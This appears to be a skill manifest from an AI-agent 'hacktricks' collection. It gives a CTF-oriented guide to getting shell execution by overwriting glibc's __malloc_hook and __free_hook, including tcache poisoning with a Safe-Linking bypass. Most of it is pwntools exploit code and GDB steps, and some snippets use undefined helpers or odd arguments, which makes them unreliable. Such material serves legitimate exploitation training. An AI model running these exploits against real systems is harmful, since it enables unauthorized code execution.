Hacktricks-skills malloc-hook-exploit

Guide for exploiting __malloc_hook and __free_hook in binary exploitation challenges. Use this skill when working on CTF pwn challenges involving heap vulnerabilities, malloc/free hook overwrites, tcache poisoning, or Safe-Linking bypasses. Trigger when the user mentions malloc hook, free hook, heap exploitation, glibc hooks, tcache poisoning, or is solving binary exploitation challenges that involve heap memory corruption.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook/SKILL.MD
source content

Malloc/Free Hook Exploitation Guide

This skill helps you exploit

__malloc_hook
and
__free_hook
vulnerabilities in binary exploitation challenges. These are powerful primitives for achieving arbitrary code execution through heap corruption.

Quick Reference

HookTriggered Byglibc Support
__malloc_hook
Any
malloc()
call
≤ 2.33
__free_hook
Any
free()
call
≤ 2.33
__realloc_hook
Any
realloc()
call
≤ 2.33
__memalign_hook
Any
memalign()
call
≤ 2.33

⚠️ Critical: Hooks are disabled in glibc ≥ 2.34. Check the target's glibc version first!

Step 1: Check glibc Version

Before attempting hook exploitation, verify the target supports it:

# Check glibc version
ldd --version
# or
strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_ | sort -V | tail -1

If glibc ≥ 2.34, hooks won't work. Pivot to alternatives like:

  • IO-FILE structure hijacking
  • __run_exit_handlers
    overwrites
  • vtable spraying
  • Return-to-libc with other function pointers

Step 2: Locate Hook Addresses

With Symbols (Debug Build)

# In GEF/Pwndbg
gef➤  p &__malloc_hook
gef➤  p &__free_hook

Without Symbols

Use the

find_hook_address.py
script:

python3 scripts/find_hook_address.py /path/to/libc.so.6

Or manually in GDB:

# For __free_hook, break at free+25
gef➤  x/20i free
gef➤  break *free+25
gef➤  run
# $eax contains __free_hook address

Step 3: Choose Your Attack Vector

Option A: __malloc_hook Exploitation

When to use: You can trigger

malloc()
after overwriting the hook.

Prerequisites:

  • Arbitrary write primitive (UAF, heap overflow, use-after-free)
  • One Gadget or shellcode address
  • Ability to trigger malloc (or use
    printf("%10000$c")
    to force it)

Workflow:

  1. Overwrite
    __malloc_hook
    with a One Gadget address
  2. Trigger
    malloc()
    - the gadget executes
  3. Get shell

Example:

from pwn import *

libc = ELF("libc.so.6")
p = process("./vuln")

# Get one gadget
one_gadget = one_gadget(libc.path, ret2ret=False)

# Overwrite __malloc_hook
malloc_hook = libc.sym['__malloc_hook']
write(malloc_hook, p64(one_gadget))

# Trigger malloc
p.sendline(b"malloc_trigger")

# Get shell
p.interactive()

Option B: __free_hook Exploitation

When to use: You can trigger

free()
after overwriting the hook.

Prerequisites:

  • Heap corruption primitive (fast bin attack, tcache poisoning, unsorted bin attack)
  • system
    function address
  • String
    /bin/sh
    in heap

Workflow:

  1. Overwrite
    __free_hook
    with
    system
    address
  2. Place
    /bin/sh
    in a heap chunk
  3. Free that chunk -
    system("/bin/sh")
    executes

Example:

from pwn import *

libc = ELF("libc.so.6")
p = process("./vuln")

# Overwrite __free_hook with system
free_hook = libc.sym['__free_hook']
write(free_hook, p64(libc.sym['system']))

# Create chunk with /bin/sh
bin_sh = malloc(0x50)
edit(bin_sh, b"/bin/sh\x00")

# Free it to trigger
free(bin_sh)

p.interactive()

Step 4: Handle Safe-Linking (glibc 2.32-2.33)

glibc 2.32+ introduced Safe-Linking that obfuscates tcache forward pointers:

#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Consequences:

  1. Heap leak required - you need
    chunk_addr >> 12
    to forge valid pointers
  2. Full 8-byte overwrites only - partial writes fail the check

Tcache Poisoning with Safe-Linking:

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")

# 1. Leak heap address
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12  # Safe-Linking key
log.success(f"heap @ {hex(heap_base)}")

# 2. Double-free for tcache poisoning
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)  # tcache double-free

# 3. Forge obfuscated fd pointing to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison))

# 4. Two mallocs - second returns __free_hook
malloc(0x48)  # returns chunk a
c = malloc(0x48)  # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

p.interactive()

Step 5: Fast Bin Attack for __free_hook

When you need to place a chunk at

__free_hook
:

  1. Find chunk size that fits near

    __free_hook
    :

    gef➤  p &__free_hook
    $1 = 0x7ff1e9e607a8
    gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
    # Look for 0x0000000000000200 (size 0x200)
    
  2. Create fast bin chunk of matching size:

    # Create chunk of size 0xfc, merge twice = 0x1f8
    chunk = malloc(0xfc)
    merge(chunk)  # twice
    
  3. Poison fd to point to

    __free_hook
    location

  4. Allocate to get chunk at

    __free_hook

  5. Overwrite with

    system
    address

  6. Free a chunk containing

    /bin/sh

Common Pitfalls

IssueSolution
glibc ≥ 2.34Use alternative primitives (IO-FILE, vtable)
Safe-Linking failsLeak heap address, use
chunk_addr >> 12
as XOR key
Partial overwrite failsSafe-Linking requires full 8-byte pointer
Hook not triggeringVerify hook address is correct, check for ASLR
Segfault after overwriteEnsure gadget/function address is valid

Debugging Tips

# In GDB, watch hook values
gef➤  watch *(&__malloc_hook)
gef➤  watch *(&__free_hook)

# Check if hooks are enabled
gef➤  p __malloc_hook
gef➤  p __free_hook
# If they show 0x0, hooks are disabled

# Trace malloc/free calls
gef➤  break malloc
gef➤  break free

When Hooks Don't Work (glibc ≥ 2.34)

If hooks are disabled, try these alternatives:

  1. IO-FILE Hijacking: Overwrite FILE structure vtable
  2. __run_exit_handlers
    : Overwrite exit handler function pointer
  3. vtable Spraying: Overwrite C++ vtable entries
  4. Return-to-libc: Chain libc functions directly
  5. ROP: Build ROP chain to achieve code execution

See: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md

Quick Start Script

Use

scripts/exploit_template.py
as a starting point:

python3 scripts/exploit_template.py --help

This generates a template with:

  • glibc version check
  • Hook address discovery
  • Exploitation workflow
  • Interactive shell

References


Remember: Always verify glibc version before attempting hook exploitation. Modern systems (Ubuntu 22.04+, Fedora 35+, Debian 12) use glibc ≥ 2.34 where hooks are disabled.